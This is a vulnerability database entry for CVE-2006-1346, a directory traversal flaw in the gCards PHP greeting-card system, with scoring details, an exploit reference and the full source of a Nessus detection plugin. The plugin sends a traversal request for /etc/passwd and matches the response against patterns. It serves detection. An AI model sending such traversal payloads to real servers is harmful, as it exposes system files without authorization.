Vulnerabilities > CVE-2006-1346 - Input Validation vulnerability in Gcards 1.43/1.44

047910
CVSS 6.4 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
NONE
network
low complexity
greg-neustaetter
nessus
exploit available

Summary

Directory traversal vulnerability in inc/setLang.php in Greg Neustaetter gCards 1.45 and earlier allows remote attackers to include and execute arbitrary local files via directory traversal sequences in a lang[*][file] parameter, as demonstrated by injecting PHP sequences into an Apache access_log file, which is then included by index.php.

Vulnerable Configurations

Part Description Count
Application
Greg_Neustaetter
3

Exploit-Db

descriptiongCards <= 1.45 Multiple Vulnerabilities All-In-One Exploit. CVE-2006-1346,CVE-2006-1347,CVE-2006-1348. Webapps exploit for php platform
fileexploits/php/webapps/1595.php
idEDB-ID:1595
last seen2016-01-31
modified2006-03-20
platformphp
port
published2006-03-20
reporterrgod
sourcehttps://www.exploit-db.com/download/1595/
titlegCards <= 1.45 - Multiple Vulnerabilities All-In-One Exploit
typewebapps

Nessus

NASL familyCGI abuses
NASL idGCARDS_DIR_TRANSVERSAL.NASL
descriptionThe remote host is running gCards, a free electronic greeting card system written in PHP. The installed version of gCards fails to sanitize user input to the
last seen2020-06-01
modified2020-06-02
plugin id21168
published2006-04-03
reporterThis script is Copyright (C) 2006-2018 Josh Zlatin-Amishav
sourcehttps://www.tenable.com/plugins/nessus/21168
titlegCards < 1.46 Multiple Vulnerabilities
code
#
# (C) Josh Zlatin-Amishav (josh at ramat dot cc)
# GPLv2
#


include("compat.inc");

if (description) {
script_id(21168);
script_version("1.19");

script_cve_id("CVE-2006-1346", "CVE-2006-1347", "CVE-2006-1348");
script_bugtraq_id(17165);

script_name(english:"gCards < 1.46 Multiple Vulnerabilities");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is prone to
multiple vulnerabilities." );
 script_set_attribute(attribute:"description", value:
"The remote host is running gCards, a free electronic greeting card
system written in PHP. 

The installed version of gCards fails to sanitize user input to the
'setLang' parameter in the 'inc/setLang.php' script which is called by
'index.php'.  An unauthenticated attacker may be able to exploit this
issue to read arbitrary local files or execute code from local files
subject to the permissions of the web server user id. 

There are also reportedly other flaws in the installed application,
including a directory traversal issue that allows reading of local
files as well as a SQL injection and a cross-site scripting issue." );
 # https://web.archive.org/web/20060420020250/http://retrogod.altervista.org/gcards_145_xpl.html
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?862632b7" );
 # http://www.gregphoto.net/index.php/2006/03/27/gcards-146-released-due-to-security-issues/
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?5e89025e" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to gCards version 1.46 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:H/RL:U/RC:ND");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);

 script_set_attribute(attribute:"plugin_publication_date", value: "2006/04/03");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/03/20");
 script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


summary["english"] = "Checks for directory transversal in gCards index.php script";
script_summary(english:summary["english"]);

script_category(ACT_ATTACK);
script_family(english:"CGI abuses");

script_copyright(english:"This script is Copyright (C) 2006-2020 Josh Zlatin-Amishav");

script_dependencie("http_version.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
	script_require_keys("www/PHP");
exit(0);
}


include("global_settings.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded:TRUE);
if (!get_port_state(port)) exit(0);
if (get_kb_item("Services/www/"+port+"/embedded")) exit(0);
if (!can_host_php(port:port)) exit(0);


if (thorough_tests) dirs = list_uniq(make_list("/gcards", cgi_dirs()));
else dirs = make_list(cgi_dirs());

# Loop through CGI directories.
foreach dir (dirs) {
  # Try to exploit the flaw in setLang.php to read /etc/passwd.
  lang = SCRIPT_NAME;
  req = http_get(
    item:string(
    dir, "/index.php?",
    "setLang=", lang, "&",
    "lang[", lang, "][file]=../../../../../../../../../../../../etc/passwd"
    ),
    port:port
  );
  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
  if (isnull(res)) exit(0);

  # There's a problem if...
  if (
    egrep(pattern:">gCards</a> v.*Graphics by Greg gCards", string:res) &&
    (
      # there's an entry for root or ...
      egrep(pattern:"root:.*:0:[01]:", string:res) ||
      # we get an error claiming the file doesn't exist or...
      egrep(pattern:"main\(inc/lang/.+/etc/passwd\).+ failed to open stream: No such file or directory", string:res) ||
      # we get an error about open_basedir restriction
      egrep(pattern:"main.+ open_basedir restriction in effect\. File\(\./inc/lang/.+/etc/passwd", string:res)
    )
  ) {
    if (egrep(pattern:"root:.*:0:[01]:", string:res))
      content = res - strstr(res, '<!DOCTYPE HTML PUBLIC');

    if (content)
    {
      content = data_protection::redact_etc_passwd(output:content);
      report = string(
        "\n",
        "Here are the contents of the file '/etc/passwd' that\n",
        "Nessus was able to read from the remote host :\n",
        "\n",
        content
      );
      security_hole(port:port, extra:report);
    }
    else
    security_hole(port:port);

    set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
    set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);
    exit(0);
  }
}